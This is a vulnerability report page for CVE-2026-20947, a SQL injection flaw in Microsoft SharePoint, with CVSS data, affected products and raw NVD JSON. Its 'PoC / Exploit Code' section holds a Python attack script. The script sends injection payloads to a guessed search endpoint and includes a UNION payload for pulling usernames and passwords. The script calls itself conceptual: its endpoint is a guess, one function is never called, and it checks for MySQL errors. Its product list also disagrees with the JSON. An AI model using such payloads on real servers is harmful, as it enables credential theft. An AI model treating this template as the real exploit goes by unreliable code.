Security Vulnerability Report
中文
CVE-2026-20947 CVSS 8.8 HIGH

CVE-2026-20947

Published: 2026-01-13 18:16:22
Last Modified: 2026-01-16 16:17:12

Description

Improper neutralization of special elements used in an sql command ('sql injection') in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:microsoft:sharepoint_server:*:*:*:*:subscription:*:*:* - VULNERABLE
cpe:2.3:a:microsoft:sharepoint_server:2016:*:*:*:enterprise:*:*:* - VULNERABLE
cpe:2.3:a:microsoft:sharepoint_server:2019:*:*:*:*:*:*:* - VULNERABLE
Microsoft Office SharePoint Enterprise Server 2019
Microsoft Office SharePoint Server 2019
Microsoft Office SharePoint Enterprise Server 2016
Microsoft Office SharePoint Server 2013
Microsoft SharePoint Foundation 2010
Microsoft SharePoint Foundation 2013

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-20947 SQL Injection PoC # Target: Microsoft Office SharePoint # Note: This is a conceptual PoC for authorized security testing only import requests import sys def test_sql_injection(url, payload): """ Test for SQL injection vulnerability in SharePoint Modify the target endpoint and payload based on enumeration """ headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Content-Type': 'application/x-www-form-urlencoded' } # Example vulnerable parameter - enumerate based on target vulnerable_param = 'searchTerm' target_url = f"{url}/_api/search/query?{vulnerable_param}={payload}" try: response = requests.get(target_url, headers=headers, timeout=10) # Check for SQL error indicators if any(indicator in response.text.lower() for indicator in ['sql', 'syntax', 'mysql', 'mssql', 'error', 'exception']): print(f"[+] Potential SQL Injection detected at: {target_url}") print(f"[+] Response status: {response.status_code}") return True return False except requests.RequestException as e: print(f"[-] Request failed: {e}") return False def extract_data(url, payload): """ Extract data using UNION-based SQL injection Adjust column count and data types based on target """ # UNION-based injection payload example union_payload = f"' UNION SELECT NULL,NULL,username,password,NULL FROM users--" return test_sql_injection(url, union_payload) if __name__ == '__main__': if len(sys.argv) < 3: print("Usage: python cve-2026-20947-poc.py <target_url> <test_payload>") sys.exit(1) target = sys.argv[1] payload = sys.argv[2] test_sql_injection(target, payload)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-20947", "sourceIdentifier": "[email protected]", "published": "2026-01-13T18:16:22.167", "lastModified": "2026-01-16T16:17:12.343", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper neutralization of special elements used in an sql command ('sql injection') in Microsoft Office SharePoint allows an authorized attacker to execute code over a network."}, {"lang": "es", "value": "Neutralización incorrecta de elementos especiales utilizados en un comando SQL ('inyección SQL') en Microsoft Office SharePoint permite a un atacante autorizado ejecutar código a través de una red."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:sharepoint_server:*:*:*:*:subscription:*:*:*", "versionEndExcluding": "16.0.19127.20442", "matchCriteriaId": "FB9ECA81-C1E2-4B02-A45C-0E5664E3C9B9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:sharepoint_server:2016:*:*:*:enterprise:*:*:*", "matchCriteriaId": "F815EF1D-7B60-47BE-9AC2-2548F99F10E4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:sharepoint_server:2019:*:*:*:*:*:*:*", "matchCriteriaId": "6122D014-5BF1-4AF4-8B4D-80205ED7785E"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20947", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}